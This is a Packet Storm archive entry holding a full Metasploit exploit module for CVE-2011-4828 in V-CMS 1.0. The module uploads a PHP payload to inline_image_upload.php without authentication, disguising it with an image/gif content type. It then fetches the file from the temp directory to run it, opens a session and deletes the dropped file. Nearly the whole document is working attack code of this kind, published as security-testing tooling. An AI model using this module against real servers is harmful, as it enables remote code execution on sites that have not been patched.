V-CMS PHP File Upload And Execute

2012-04-17T00:00:00
ID PACKETSTORM:111901
Type packetstorm
Reporter sinn3r
Modified 2012-04-17T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "V-CMS PHP File Upload and Execute",  
'Description' => %q{  
This module exploits a vulnerability found on V-CMS's inline image upload feature.  
The problem is due to the inline_image_upload.php file not checking the file type  
before saving it on the web server. This allows any malicious user to upload a  
script (such as PHP) without authentication, and then execute it with a GET request.  
  
The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only  
allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as  
one of those extension names, which may still be leveraged in an attack.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'AutoSec Tools', #Initial discovery  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['CVE', '2011-4828'],  
['BID', '50706'],  
['URL', 'http://bugs.v-cms.org/view.php?id=53'],  
['URL', 'http://xforce.iss.net/xforce/xfdb/71358']  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['V-CMS 1.0', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 27 2011", #When the ticket was created  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])  
], self.class)  
end  
  
def check  
res = send_request_raw({  
'uri' => target_uri.path,  
'method' => 'GET'  
})  
  
if res and res.body =~ /V\-CMS v1\.[0-1]/  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def on_new_session(client)  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
client.fs.file.rm(@payload_name)  
else  
client.shell_command_token("rm #{@payload_name}")  
end  
end  
  
def exploit  
peer = "#{rhost}:#{rport}"  
  
base = target_uri.path  
base << '/' if base[-1,1] != '/'  
  
@payload_name = "#{rand_text_alpha(5)}.php"  
p = %Q|<?php  
#{payload.encoded}  
?>  
|  
  
p = p.gsub(/^\t\t/, '')  
  
post_data = "------x\r\n"  
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"  
post_data << "Content-Type: image/gif\r\n"  
post_data << "\r\n"  
post_data << p  
post_data << "------x--\r\n"  
  
print_status("#{peer} Uploading payload: #{@payload_name}")  
res = send_request_cgi({  
'uri' => "#{base}includes/inline_image_upload.php",  
'method' => 'POST',  
'ctype' => 'multipart/form-data; boundary=----x',  
'data' => post_data  
})  
  
if res  
print_status("#{peer} replies status: #{res.code.to_s}")  
else  
print_error("#{peer} No response from server. Will not continue")  
return  
end  
  
print_status("#{peer} Executing payload: #{@payload_name}")  
res = send_request_raw({  
'uri' => "#{base}temp/#{@payload_name}",  
'method' => 'GET'  
})  
  
if res and res.code == 404  
print_error("#{peer} 404 - the upload probably failed")  
return  
end  
  
handler  
end  
end`